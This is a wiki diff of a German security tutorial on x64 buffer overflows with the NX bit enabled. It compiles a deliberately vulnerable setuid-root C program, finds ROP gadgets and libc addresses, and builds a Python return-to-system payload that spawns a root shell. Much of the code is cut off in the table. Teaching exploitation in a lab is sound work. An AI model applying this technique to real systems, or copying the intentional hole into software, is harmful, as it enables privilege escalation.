Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
it-security:blog:buffer_overflow_x64-2 [2024/03/04 19:44] – angelegt psycore | it-security:blog:buffer_overflow_x64-2 [2024/08/02 11:51] (aktuell) – psycore | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
- | Buffer Overflow 2 | + | {{tag> |
+ | ====== | ||
+ | |||
+ | Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende Befehl an die [[https:// | ||
+ | |||
+ | ===== Einleitung ===== | ||
+ | |||
+ | {{page> | ||
+ | |||
+ | {{page> | ||
+ | |||
+ | {{: | ||
+ | |||
+ | Weiterführende Infos zum Thema ROP (Return Oriented Programming) und Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am Ende. ((https:// | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Theorie ==== | ||
+ | |||
+ | Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für Schritt überschrieben werden. Um den Prozess nachzuvollziehen, | ||
+ | |||
+ | <code bash> | ||
+ | br *vuln+73 # | ||
+ | r < in.txt # | ||
+ | ... # | ||
+ | RDI: 0x7ffff7fa0a30 --> 0x0 | ||
+ | RBP: 0x4141414141414141 (' | ||
+ | RSP: 0x7fffffffddc8 --> 0x4006a3 (< | ||
+ | RIP: 0x40060f (< | ||
+ | gdb-peta$ si | ||
+ | ... | ||
+ | RDI: 0x7ffff7fa0a30 --> 0x0 | ||
+ | RBP: 0x4141414141414141 (' | ||
+ | RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/ | ||
+ | RIP: 0x4006a3 (< | ||
+ | gdb-peta$ si | ||
+ | ... | ||
+ | RDI: 0x4006ff --> 0x68732f6e69622f ('/ | ||
+ | RBP: 0x4141414141414141 (' | ||
+ | RSP: 0x7fffffffddd8 --> 0x400469 (< | ||
+ | RIP: 0x4006a4 (< | ||
+ | gdb-peta$ si | ||
+ | ... | ||
+ | RDI: 0x4006ff --> 0x68732f6e69622f ('/ | ||
+ | RBP: 0x4141414141414141 (' | ||
+ | RSP: 0x7...fdde0 --> 0x7ffff7e17920 (< | ||
+ | RIP: 0x400469 (< | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Abhängigkeiten ===== | ||
+ | |||
+ | Was wird benötigt? | ||
+ | |||
+ | Zu den Tools aus [[it-security: | ||
+ | |||
+ | <code bash> | ||
+ | sudo apt install ropper | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== ASLR deaktivieren ===== | ||
+ | |||
+ | Auch hier muss ASLR wieder deaktiviert werden, um konstante Speicherbereiche zu erhalten. In [[https:// | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== C Programm ===== | ||
+ | |||
+ | Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh> | ||
+ | |||
+ | Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das '' | ||
+ | |||
+ | Da es an einem '' | ||
+ | |||
+ | <code c> | ||
+ | /* Code https:// | ||
+ | /* Changes by https:// | ||
+ | /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 | ||
+ | /* Disable ASLR: echo 0 > / | ||
+ | |||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | int gadg() { | ||
+ | asm ("pop %rdi" | ||
+ | asm (" | ||
+ | | ||
+ | } | ||
+ | |||
+ | int vuln() { | ||
+ | char buf[80]; | ||
+ | int r; | ||
+ | r = read(0, buf, 400); | ||
+ | printf(" | ||
+ | puts(" | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | int main(int argc, char *argv[]) { | ||
+ | setuid(0); | ||
+ | seteuid(0); | ||
+ | printf(" | ||
+ | vuln(); | ||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Kompilieren ==== | ||
+ | |||
+ | Nun kompilieren wir das Programm. Wichtig ist, dass der '' | ||
+ | |||
+ | > It seems that gcc build PIE (position indep. exec.). You can check this using " | ||
+ | |||
+ | <code bash> | ||
+ | gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Exploit ===== | ||
+ | |||
+ | ==== Gadgets ==== | ||
+ | |||
+ | Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir ropper und lassen uns die Gadgets anzeigen | ||
+ | |||
+ | <code bash> | ||
+ | ropper --file bof-part2 | ||
+ | ... | ||
+ | 0x000000000040116a: | ||
+ | ... | ||
+ | 0x0000000000401016: | ||
+ | </ | ||
+ | |||
+ | Wir brauchen '' | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Offsets herausfinden ==== | ||
+ | |||
+ | Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere Datei in den Debugger und starten: | ||
+ | |||
+ | <code bash> | ||
+ | gdb-peda$ start | ||
+ | ... | ||
+ | gdb-peda$ p system | ||
+ | $1 = {int (const char *)} 0x7ffff7e17920 < | ||
+ | |||
+ | gdb-peda$ find "/ | ||
+ | |||
+ | Searching for '/ | ||
+ | Found 2 results, display max 2 items: | ||
+ | bof-part2 : 0x402044 ("/ | ||
+ | bof-part2 : 0x403044 ("/ | ||
+ | </ | ||
+ | |||
+ | Das Offset '' | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== buffer.py ==== | ||
+ | |||
+ | <code bash> | ||
+ | # | ||
+ | |||
+ | from struct import * | ||
+ | |||
+ | buf = "" | ||
+ | buf += " | ||
+ | buf += pack("< | ||
+ | buf += pack("< | ||
+ | buf += pack("< | ||
+ | buf += pack("< | ||
+ | |||
+ | f = open(" | ||
+ | f.write(buf) | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Buffer erzeugen ==== | ||
+ | |||
+ | Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt. | ||
+ | |||
+ | <code bash> | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Berechtigungen setzen ==== | ||
+ | |||
+ | Unsere Datei benötigt noch die entsprechenden root Berechtigungen. | ||
+ | |||
+ | <code bash> | ||
+ | sudo chown root bof-part2 | ||
+ | sudo chmod 4755 bof-part2 | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== root Shell ==== | ||
+ | |||
+ | Nun starten wir unser Programm und übergeben unseren Buffer als Argument. | ||
+ | |||
+ | <code bash> | ||
+ | (cat in.txt | cat) | ./ | ||
+ | </ | ||
+ | |||
+ | [{{: | ||
+ | |||
+ | Unsere User Shell wird zur root Shell aufgewertet und wir haben unser Ziel erreicht. | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Repository ===== | ||
+ | |||
+ | ^ Projektdateien | {{ : | ||
+ | ^ Größe | 4,00 KB | | ||
+ | ^ Prüfsumme (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 | | ||
+ | |||
+ | ~~DISCUSSION~~ |